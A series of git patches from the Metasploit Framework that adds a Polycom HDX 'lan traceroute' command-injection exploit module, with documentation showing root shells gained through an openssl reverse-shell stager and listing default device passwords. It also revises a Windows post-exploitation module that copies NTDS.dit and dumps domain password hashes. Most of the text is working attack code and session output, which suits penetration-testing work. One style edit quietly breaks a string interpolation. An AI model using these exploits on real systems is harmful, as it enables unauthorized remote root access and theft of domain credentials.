+Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
+
+
+## Vulnerable Application
+Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
+
+## Options
+### PASSWORD
+Although a majority of devices come without a  password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
+the devices.
+
+
+## Payloads
+Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
+
+```
+Compatible Payloads
+===================
+
+   Name                                Disclosure Date  Rank    Description
+   ----                                ---------------  ----    -----------
+   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
+   cmd/unix/reverse                                     normal  Unix Command Shell, Double Reverse TCP (telnet)
+   cmd/unix/reverse_openssl                             normal  Unix Command Shell, Double Reverse TCP SSL (openssl)
+   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)
+```
+
+## Verification Steps
+
+A successful check of the exploit will look like this:
+```
+msf exploit(polycom) > set RHOST 192.168.0.17
+RHOST => 192.168.0.17
+msf exploit(polycom) > set LHOSt ens3
+LHOSt => ens3
+msf exploit(polycom) > set LPORT 3511
+LPORT => 3511
+msf exploit(polycom) > show payloads
+
+Compatible Payloads
+===================
+
+   Name                                Disclosure Date  Rank    Description
+   ----                                ---------------  ----    -----------
+   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
+   cmd/unix/reverse                                     normal  Unix Command Shell, Double Reverse TCP (telnet)
+   cmd/unix/reverse_openssl                             normal  Unix Command Shell, Double Reverse TCP SSL (openssl)
+   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)
+
+msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
+PAYLOAD => cmd/unix/reverse
+msf exploit(polycom) > set VERBOSE false
+VERBOSE => false
+msf exploit(polycom) > run
+
+[*] Started reverse TCP double handler on 192.168.0.11:3511
+[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
+[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
+[*] Accepted the first client connection...
+[*] Accepted the second client connection...
+[*] Command: echo vGopPRp0jBxt4J2D;
+[*] Writing to socket A
+[*] Writing to socket B
+[*] Reading from sockets...
+[*] Reading from socket B
+[*] B: "vGopPRp0jBxt4J2D\n"
+[*] Matching...
+[*] A is input...
+[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
+[*] 192.168.0.17:23 - Shutting down payload stager listener...
+
+id
+uid=0(root) gid=0(root)
+whoami
+root
+```
+
+## Debugging
+Setting `VERBOSE` to true should yield an output of.
+
+```
+msf exploit(polycom) > set VERBOSE true
+VERBOSE => true
+rmsf exploit(polycom) > run
+
+[*] Started reverse TCP double handler on 192.168.0.11:3511
+[*] 192.168.0.17:23 - Received : !
+Polycom Command Shell
+XCOM host:    localhost port: 4121
+TTY name:     /dev/pts/6
+Session type: telnet
+2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
+2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
+2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
+2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
+2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
+2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
+2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
+2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
+2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
+2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
+2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
+2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
+
+[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
+[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
+[*] Accepted the first client connection...
+[*] Accepted the second client connection...
+[*] Command: echo WD3QloY3fys6n7dK;
+[*] Writing to socket A
+[*] Writing to socket B
+[*] Reading from sockets...
+[*] 192.168.0.17:23 - devcmds
+Entering sticky internal commands *ONLY* mode...
+lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
+2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
+2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
+2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
+
+[*] Reading from socket B
+[*] B: "WD3QloY3fys6n7dK\n"
+[*] Matching...
+[*] A is input...
+[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
+[*] 192.168.0.17:23 - Shutting down payload stager listener...
+
+id
+uid=0(root) gid=0(root)
+whoami
+root
+```

From d93120e2ace0cbfac0c106b17edc07b785caad42 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Wed, 15 Nov 2017 10:40:57 -0500
Subject: [PATCH 138/254] Create polycom_hdx_traceroute_exec.rb

---
 .../unix/misc/polycom_hdx_traceroute_exec.rb  | 174 ++++++++++++++++++
 1 file changed, 174 insertions(+)
 create mode 100644 modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
new file mode 100644
index 0000000000..503692d7ff
--- /dev/null
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -0,0 +1,174 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
+      'Description' => %q{
+        Within Polycom command shell, a command execution flaw exists in
+        lan traceroute, one of the dev commands, which allows for an
+        attacker to execute arbitrary payloads with telnet or openssl.
+      },
+      'Author' => [
+        'Mumbai', #
+        'staaldraad', # https://twitter.com/_staaldraad/
+        'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
+        'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
+      ],
+      'References' => [
+        ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
+      ],
+      'DisclosureDate' => 'Nov 12 2017',
+      'License' => MSF_LICENSE,
+      'Platform' => 'unix',
+      'Arch' => ARCH_CMD,
+      'Targets' => [[ 'Automatic', {} ]],
+      'Payload' => {
+        'Space' => 8000,
+        'DisableNops' => true,
+        'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
+      },
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
+      'DefaultTarget' => 0
+    ))
+
+    register_options(
+    [
+      Opt::RHOST(),
+      Opt::RPORT(23),
+      OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
+      OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
+      OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
+    ])
+  end
+
+  def check
+    connect
+    Rex.sleep(1)
+    res = sock.get_once
+    disconnect
+    if !res && !res.empty?
+      return Exploit::CheckCode::Unknown
+    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
+      return Exploit::CheckCode::Detected
+    end
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
+    end
+
+    #
+    # Obtain banner information
+    #
+    sock = connect
+    Rex.sleep(2)
+    banner = sock.get_once
+    vprint_status("Received : #{banner}")
+    if banner =~ /password/
+      print_status("Authentication enabled on device, authenticating with target...")
+      if datastore['PASSWORD'].nil?
+        print_error("#{peer} - Please supply a password to authenticate with")
+        return
+      end
+      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
+      sock.put("#{datastore['PASSWORD']}\n")
+      res = sock.get_once
+      if res =~ /Polycom/
+        print_good("#{peer} - Authenticated successfully with target.")
+      elsif res =~ /failed/
+        print_error("#{peer} - Invalid credentials for target.")
+        return
+      end
+    elsif banner =~ /Polycom/ # praise jesus
+      print_good("#{peer} - Device has no authentication, excellent!")
+    end
+    do_payload(sock)
+  end
+
+  def do_payload(sock)
+    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
+    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
+
+    # Start a listener
+    start_listener(true)
+
+    # Figure out the port we picked
+    cbport = self.service.getsockname[2]
+    # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
+    cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
+    sock.put(cmd)
+    if datastore['VERBOSE']
+      Rex.sleep(2)
+      vprint_status(sock.get_once)
+    end
+
+    # Give time for our command to be queued and executed
+    1.upto(5) do
+      Rex.sleep(1)
+      break if session_created?
+    end
+  end
+
+  def stage_final_payload(cli)
+    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
+    cli.put(payload.encoded + "\n")
+  end
+
+  def start_listener(ssl = false)
+    comm = datastore['ListenerComm']
+    if comm == 'local'
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
+
+    self.service = Rex::Socket::TcpServer.create(
+      'LocalPort' => datastore['CBPORT'],
+      'SSL'       => ssl,
+      'SSLCert'   => datastore['SSLCert'],
+      'Comm'      => comm,
+      'Context'   =>
+      {
+        'Msf'        => framework,
+        'MsfExploit' => self
+      }
+    )
+
+    self.service.on_client_connect_proc = proc { |client|
+      stage_final_payload(client)
+    }
+
+    # Start the listening service
+    self.service.start
+  end
+
+  # Shut down any running services
+  def cleanup
+    super
+    if self.service
+      print_status("Shutting down payload stager listener...")
+      begin
+        self.service.deref if self.service.is_a?(Rex::Service)
+        if self.service.is_a?(Rex::Socket)
+          self.service.close
+          self.service.stop
+        end
+        self.service = nil
+      rescue ::Exception
+      end
+    end
+  end
+
+  # Accessor for our TCP payload stager
+  attr_accessor :service
+end

From 4918e5856dfbb70977ba4445b363a382fe346351 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Wed, 15 Nov 2017 10:41:51 -0500
Subject: [PATCH 139/254] Update polycom_hdx_traceroute_exec.rb

---
 modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
index 503692d7ff..f42c20f2fc 100644
--- a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         attacker to execute arbitrary payloads with telnet or openssl.
       },
       'Author' => [
-        'Mumbai', #
+        'Mumbai', # https://github.com/realoriginal (module)
         'staaldraad', # https://twitter.com/_staaldraad/
         'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
         'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them

From ad98c9c15669dec53ec99a87a1057b19002a79c7 Mon Sep 17 00:00:00 2001
From: David Maloney <DMaloney@rapid7.com>
Date: Mon, 21 Aug 2017 14:23:45 -0500
Subject: [PATCH 140/254] fix Windows server 2016 support for domain_hashdump

The domain hashdump psot module should now work
against Server 2016 DCs.
---
 .../gather/credentials/domain_hashdump.rb     | 30 ++++++++++++-------
 1 file changed, 19 insertions(+), 11 deletions(-)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index e695f9a9ae..4430b6584d 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -31,6 +31,7 @@ class MetasploitModule < Msf::Post
 
   def run
     if preconditions_met?
+      print_status "Pre-conditions met, attempting to copy NTDS.dit"
       ntds_file = copy_database_file
       unless ntds_file.nil?
         file_stat = client.fs.file.stat(ntds_file)
@@ -57,15 +58,15 @@ class MetasploitModule < Msf::Post
 
   def copy_database_file
     database_file_path = nil
-    if start_vss
-      case  sysinfo["OS"]
-        when /2003| \.NET/
-          database_file_path = vss_method
-        when /2008|2012/
-          database_file_path = ntdsutil_method
-        else
-          print_error "This version of Windows is unsupported"
-      end
+    case  sysinfo["OS"]
+      when /2003| \.NET/
+        print_status "Using Volume Shadow Copy Method"
+        database_file_path = vss_method
+      when /2008|2012|2016/
+        print_status "Using NTDSUTIL method"
+        database_file_path = ntdsutil_method
+      else
+        print_error "This version of Windows is unsupported"
     end
     database_file_path
   end
@@ -99,11 +100,15 @@ class MetasploitModule < Msf::Post
 
 
   def preconditions_met?
-    unless is_admin?
+    if is_admin?
+      print_status "Session has Admin privs"
+    else
       print_error "This module requires Admin privs to run"
       return false
     end
-    unless is_domain_controller?
+    if is_domain_controller?
+      print_status "Sessions is on a Domain Controller"
+    else
       print_error "This does not appear to be an AD Domain Controller"
       return false
     end
@@ -144,6 +149,9 @@ class MetasploitModule < Msf::Post
   end
 
   def vss_method
+    unless start_vss
+      fail_with(Failure::NoAccess, "Unable to start VSS service")
+    end
     location = ntds_location.dup
     volume = location.slice!(0,3)
     id = create_shadowcopy("#{volume}")

From 7162765b57064ae1b54e7f4ced20966b4c01b36d Mon Sep 17 00:00:00 2001
From: David Maloney <DMaloney@rapid7.com>
Date: Mon, 21 Aug 2017 15:27:22 -0500
Subject: [PATCH 141/254] load extapi in domain_hashdump

domain hashdump always needs to load extapi to work
---
 modules/post/windows/gather/credentials/domain_hashdump.rb | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index 4430b6584d..e8f949249d 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -12,6 +12,7 @@ class MetasploitModule < Msf::Post
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::ShadowCopy
   include Msf::Post::File
+  include Msf::Post::Windows::ExtAPI
 
   def initialize(info={})
     super(update_info(info,
@@ -115,6 +116,7 @@ class MetasploitModule < Msf::Post
     unless session_compat?
       return false
     end
+    load_extapi
     return true
   end
 

From 8b9e091e70a1fcc0c8b4f1db7a33a6490187359c Mon Sep 17 00:00:00 2001
From: David Maloney <DMaloney@rapid7.com>
Date: Mon, 28 Aug 2017 12:42:16 -0500
Subject: [PATCH 142/254] remove humorous typo

---
 modules/post/windows/gather/credentials/domain_hashdump.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index e8f949249d..20417bd3e1 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -108,7 +108,7 @@ class MetasploitModule < Msf::Post
       return false
     end
     if is_domain_controller?
-      print_status "Sessions is on a Domain Controller"
+      print_status "Session is on a Domain Controller"
     else
       print_error "This does not appear to be an AD Domain Controller"
       return false

From 53a068d13f2da5051c445b2361faa84cf47471c7 Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Tue, 14 Nov 2017 17:42:10 -0600
Subject: [PATCH 143/254] Add error handling for failed hashdumps

---
 .../gather/credentials/domain_hashdump.rb     | 38 +++++++++++++------
 1 file changed, 27 insertions(+), 11 deletions(-)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index 20417bd3e1..6c0fe91ef1 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -28,6 +28,9 @@ class MetasploitModule < Msf::Post
       'SessionTypes'  => [ 'meterpreter' ]
   ))
     deregister_options('SMBUser','SMBPass', 'SMBDomain')
+    register_options(
+      [OptBool.new('CLEANUP',
+          [ true, 'Automatically delete ntds backup created', true])])
   end
 
   def run
@@ -40,19 +43,32 @@ class MetasploitModule < Msf::Post
         print_status "Repairing NTDS database after copy..."
         print_status repair_ntds(ntds_file)
         realm = sysinfo["Domain"]
-        ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
-        print_status "Started up NTDS channel. Preparing to stream results..."
-        ntds_parser.each_account do |ad_account|
-          print_good ad_account.to_s
-          report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
-          ad_account.nt_history.each_with_index do |nt_hash, index|
-            hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
-            hash_string << ":#{nt_hash}"
-            report_hash(hash_string.downcase,ad_account.name, realm)
+        begin
+		  ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
+		rescue Rex::Post::Meterpreter::RequestError => e
+		  print_bad("Failed to properly parse database: #{e}")
+		  if e.to_s.include? "1004"
+		    print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
+		  end
+		end
+		unless ntds_parser.nil?
+			print_status "Started up NTDS channel. Preparing to stream results..."
+			ntds_parser.each_account do |ad_account|
+			  print_good ad_account.to_s
+			  report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
+			  ad_account.nt_history.each_with_index do |nt_hash, index|
+				hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
+				hash_string << ":#{nt_hash}"
+				report_hash(hash_string.downcase,ad_account.name, realm)
+            end
           end
         end
-        print_status "Deleting backup of NTDS.dit at #{ntds_file}"
-        rm_f(ntds_file)
+        if datastore['cleanup']
+	      print_status "Deleting backup of NTDS.dit at #{ntds_file}"
+          rm_f(ntds_file)
+        else
+          print_bad "#{ntds_file} requires manual cleanup"
+        end
       end
     end
   end

From 829a7a53db92a060e4a5eddc3549b19a75fc1c0a Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Wed, 15 Nov 2017 12:27:40 -0500
Subject: [PATCH 144/254] verbose response.

---
 .../exploits/unix/misc/polycom_hdx_traceroute_exec.rb    | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
index f42c20f2fc..fdd6474c2c 100644
--- a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         attacker to execute arbitrary payloads with telnet or openssl.
       },
       'Author' => [
-        'Mumbai', # https://github.com/realoriginal (module)
+        'Mumbai', #
         'staaldraad', # https://twitter.com/_staaldraad/
         'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
         'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
@@ -73,7 +73,8 @@ class MetasploitModule < Msf::Exploit::Remote
     sock = connect
     Rex.sleep(2)
     banner = sock.get_once
-    vprint_status("Received : #{banner}")
+    vprint_status("Recieved #{banner.length} bytes from service")
+    vprint_line("#{banner}")
     if banner =~ /password/
       print_status("Authentication enabled on device, authenticating with target...")
       if datastore['PASSWORD'].nil?
@@ -109,7 +110,9 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(cmd)
     if datastore['VERBOSE']
       Rex.sleep(2)
-      vprint_status(sock.get_once)
+      resp = sock.get_once
+      vprint_status("Recieved #{resp.length} bytes in response")
+      vprint_line(resp)
     end
 
     # Give time for our command to be queued and executed

From 33a07beb30297fc378714e97bb6ab6bbd1e83de0 Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 15 Nov 2017 12:26:49 -0600
Subject: [PATCH 145/254] Fix whitespace issues

---
 .../gather/credentials/domain_hashdump.rb     | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index 6c0fe91ef1..d818fd6d6c 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -44,27 +44,27 @@ class MetasploitModule < Msf::Post
         print_status repair_ntds(ntds_file)
         realm = sysinfo["Domain"]
         begin
-		  ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
-		rescue Rex::Post::Meterpreter::RequestError => e
-		  print_bad("Failed to properly parse database: #{e}")
-		  if e.to_s.include? "1004"
-		    print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
-		  end
-		end
-		unless ntds_parser.nil?
-			print_status "Started up NTDS channel. Preparing to stream results..."
-			ntds_parser.each_account do |ad_account|
-			  print_good ad_account.to_s
-			  report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
-			  ad_account.nt_history.each_with_index do |nt_hash, index|
-				hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
-				hash_string << ":#{nt_hash}"
-				report_hash(hash_string.downcase,ad_account.name, realm)
+          ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
+        rescue Rex::Post::Meterpreter::RequestError => e
+          print_bad("Failed to properly parse database: #{e}")
+          if e.to_s.include? "1004"
+            print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
+          end
+        end
+        unless ntds_parser.nil?
+          print_status "Started up NTDS channel. Preparing to stream results..."
+          ntds_parser.each_account do |ad_account|
+            print_good ad_account.to_s
+            report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
+            ad_account.nt_history.each_with_index do |nt_hash, index|
+              hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
+              hash_string << ":#{nt_hash}"
+              report_hash(hash_string.downcase,ad_account.name, realm)
             end
           end
         end
         if datastore['cleanup']
-	      print_status "Deleting backup of NTDS.dit at #{ntds_file}"
+          print_status "Deleting backup of NTDS.dit at #{ntds_file}"
           rm_f(ntds_file)
         else
           print_bad "#{ntds_file} requires manual cleanup"

From 83c228f3b84a539d5e486cf2c141265a6589a5be Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 15 Nov 2017 14:06:36 -0600
Subject: [PATCH 146/254] Make rubocop less mad

---
 .../gather/credentials/domain_hashdump.rb     | 68 ++++++++++---------
 1 file changed, 36 insertions(+), 32 deletions(-)

diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb
index d818fd6d6c..47001bae5e 100644
--- a/modules/post/windows/gather/credentials/domain_hashdump.rb
+++ b/modules/post/windows/gather/credentials/domain_hashdump.rb
@@ -14,23 +14,28 @@ class MetasploitModule < Msf::Post
   include Msf::Post::File
   include Msf::Post::Windows::ExtAPI
 
-  def initialize(info={})
-    super(update_info(info,
-      'Name'          => 'Windows Domain Controller Hashdump',
-      'Description'   => %q{
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+      'Name'         => 'Windows Domain Controller Hashdump',
+      'Description'  => %q(
         This module attempts to copy the NTDS.dit database from a live Domain Controller
         and then parse out all of the User Accounts. It saves all of the captured password
         hashes, including historical ones.
-  },
-      'License'       => MSF_LICENSE,
-      'Author'        => ['theLightCosine'],
-      'Platform'      => [ 'win' ],
-      'SessionTypes'  => [ 'meterpreter' ]
-  ))
-    deregister_options('SMBUser','SMBPass', 'SMBDomain')
+        ),
+      'License'      => MSF_LICENSE,
+      'Author'       => ['theLightCosine'],
+      'Platform'     => [ 'win' ],
+      'SessionTypes' => [ 'meterpreter' ]
+      )
+    )
+    deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
     register_options(
-      [OptBool.new('CLEANUP',
-          [ true, 'Automatically delete ntds backup created', true])])
+      [OptBool.new(
+        'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
+      )]
+    )
   end
 
   def run
@@ -59,7 +64,7 @@ class MetasploitModule < Msf::Post
             ad_account.nt_history.each_with_index do |nt_hash, index|
               hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
               hash_string << ":#{nt_hash}"
-              report_hash(hash_string.downcase,ad_account.name, realm)
+              report_hash(hash_string.downcase, ad_account.name, realm)
             end
           end
         end
@@ -76,19 +81,19 @@ class MetasploitModule < Msf::Post
   def copy_database_file
     database_file_path = nil
     case  sysinfo["OS"]
-      when /2003| \.NET/
-        print_status "Using Volume Shadow Copy Method"
-        database_file_path = vss_method
-      when /2008|2012|2016/
-        print_status "Using NTDSUTIL method"
-        database_file_path = ntdsutil_method
-      else
-        print_error "This version of Windows is unsupported"
+    when /2003| \.NET/
+      print_status "Using Volume Shadow Copy Method"
+      database_file_path = vss_method
+    when /2008|2012|2016/
+      print_status "Using NTDSUTIL method"
+      database_file_path = ntdsutil_method
+    else
+      print_error "This version of Windows is unsupported"
     end
     database_file_path
   end
 
-  def is_domain_controller?
+  def domain_controller?
     if ntds_location
       file_exist?("#{ntds_location}\\ntds.dit")
     else
@@ -97,13 +102,13 @@ class MetasploitModule < Msf::Post
   end
 
   def ntds_location
-    @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory")
+    @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\", "DSA Working Directory")
   end
 
   def ntdsutil_method
-    tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
+    tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
     command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
-    result = cmd_exec("ntdsutil.exe", command_arguments,90)
+    result = cmd_exec("ntdsutil.exe", command_arguments, 90)
     if result.include? "IFM media created successfully"
       file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
       print_status "NTDS database copied to #{file_path}"
@@ -115,7 +120,6 @@ class MetasploitModule < Msf::Post
     file_path
   end
 
-
   def preconditions_met?
     if is_admin?
       print_status "Session has Admin privs"
@@ -123,7 +127,7 @@ class MetasploitModule < Msf::Post
       print_error "This module requires Admin privs to run"
       return false
     end
-    if is_domain_controller?
+    if domain_controller?
       print_status "Session is on a Domain Controller"
     else
       print_error "This does not appear to be an AD Domain Controller"
@@ -136,7 +140,7 @@ class MetasploitModule < Msf::Post
     return true
   end
 
-  def repair_ntds(path='')
+  def repair_ntds(path = '')
     arguments = "/p /o \"#{path}\""
     cmd_exec("esentutl", arguments)
   end
@@ -171,12 +175,12 @@ class MetasploitModule < Msf::Post
       fail_with(Failure::NoAccess, "Unable to start VSS service")
     end
     location = ntds_location.dup
-    volume = location.slice!(0,3)
-    id = create_shadowcopy("#{volume}")
+    volume = location.slice!(0, 3)
+    id = create_shadowcopy('#{volume}')
     print_status "Getting Details of ShadowCopy #{id}"
     sc_details = get_sc_details(id)
     sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
-    target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
+    target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
